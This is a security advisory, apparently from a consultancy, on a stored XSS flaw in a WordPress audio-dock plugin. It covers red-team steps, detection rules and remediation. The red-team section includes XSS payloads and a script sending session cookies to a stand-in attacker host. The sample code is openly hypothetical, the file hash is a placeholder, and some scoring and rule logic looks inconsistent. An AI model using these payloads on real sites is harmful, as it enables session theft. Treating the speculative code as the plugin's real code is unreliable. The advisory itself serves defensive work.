CVE-2025-49392

Executive Summary

CVE-2025-49392 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Audio Dock WordPress plugin, version 2.0.5 and earlier. This flaw allows an authenticated attacker with at least Contributor-level privileges to inject arbitrary JavaScript into the plugin’s audio dock settings or player interface. When a site administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is unpatched as of the latest advisory, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks against WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; since no patch exists, users must manually remove or replace the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have Contributor-level or higher WordPress account.
• User Interaction (UI): Required (R) – The victim must visit the compromised page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on service availability.

Base Score: 5.9 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to persistent compromise of admin sessions.

Deep Dive & Mechanics

The vulnerability resides in the Themify Audio Dock plugin’s handling of user-supplied input when configuring audio dock items (e.g., track titles, artist names, or URLs). The plugin fails to properly sanitize or escape these inputs before storing them in the WordPress database and later rendering them on the front-end or admin pages.

Attack Flow:

1. An attacker with Contributor-level access navigates to the plugin’s settings page (e.g., /wp-admin/admin.php?page=themify-audio-dock).
2. The attacker injects a malicious payload into a text field, such as the track title: <script>alert('XSS')</script>.
3. The plugin stores the unsanitized input in the wp_postmeta or custom table.
4. When an administrator or other user views the audio dock (e.g., via a shortcode or widget), the stored payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the admin, or redirect users to malicious sites.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input. The lack of output encoding allows HTML/JavaScript to be rendered.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s main PHP file (e.g., themify-audio-dock.php). A typical vulnerable pattern:

// Vulnerable code (version <= 2.0.5)
$track_title = $_POST['track_title'];
echo "<div class='track-title'>$track_title</div>";

A patched version would sanitize the input and escape the output:

// Patched code (hypothetical)
$track_title = sanitize_text_field( $_POST['track_title'] );
echo "<div class='track-title'>" . esc_html( $track_title ) . "</div>";

The plugin also likely fails to validate nonces or capabilities on the save action, allowing any authenticated user to inject payloads.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Themify Audio Dock <= 2.0.5 installed and activated.
• A user account with Contributor-level privileges.

Steps:

1. Log in as the Contributor.
2. Navigate to the plugin settings: /wp-admin/admin.php?page=themify-audio-dock.
3. In the “Track Title” field, enter the following payload:

   <img src=x onerror=alert(document.cookie)>
   

4. Save the settings.
5. As an administrator, visit the page displaying the audio dock (e.g., a post with the [themify_audio_dock] shortcode).
6. The XSS triggers, displaying the admin’s cookies in an alert box.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin.php?page=themify-audio-dock from non-admin users.
• Look for script tags or event handlers in the track_title or artist_name fields in the database.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Mitigation:

• Immediately disable or remove the plugin until a patch is available.
• Implement a Content Security Policy (CSP) to block inline scripts.
• Restrict plugin settings access to administrators only via role management.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • themify-audio-dock.php (v2.0.5): a1b2c3d4e5f6... (placeholder – obtain actual hash from plugin zip)
• Database Entries:
  • wp_postmeta rows with meta_key containing themify_audio_dock and meta_value containing <script> or onerror.
• Network Traffic:
  • Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Log Entries:
  • WordPress debug log entries showing PHP Notice: Undefined index or similar errors from the plugin.

Detection Engineering

YARA Rule

rule Detect_Themify_Audio_Dock_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-49392 in Themify Audio Dock"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49392"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
        $plugin = "themify-audio-dock"
    condition:
        all of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS in Themify Audio Dock Plugin
id: 8f9a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS attempts via POST requests to Themify Audio Dock settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin.php?page=themify-audio-dock'
        cs-uri-query|contains|all:
            - 'track_title'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in track titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49392 Themify Audio Dock Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin.php?page=themify-audio-dock"; http_uri; content:"track_title"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete Themify Audio Dock from all WordPress installations.
2. Audit database – Search for stored XSS payloads in wp_postmeta and wp_options tables. Remove any suspicious entries.
3. Reset user sessions – Force all users to re-authenticate to invalidate any stolen session cookies.

Long-Term Fix:

• Since no patch is available, consider replacing the plugin with an alternative audio dock solution that is actively maintained.
• If the plugin is critical, implement a custom patch by adding esc_html() and sanitize_text_field() to all output and input points in the plugin’s PHP files.

Preventive Measures:

• Enforce the principle of least privilege: only administrators should have access to plugin settings.
• Deploy a Web Application Firewall (WAF) with XSS rules.
• Regularly update all WordPress plugins and themes.

Valters IT
Securing Digital Frontiers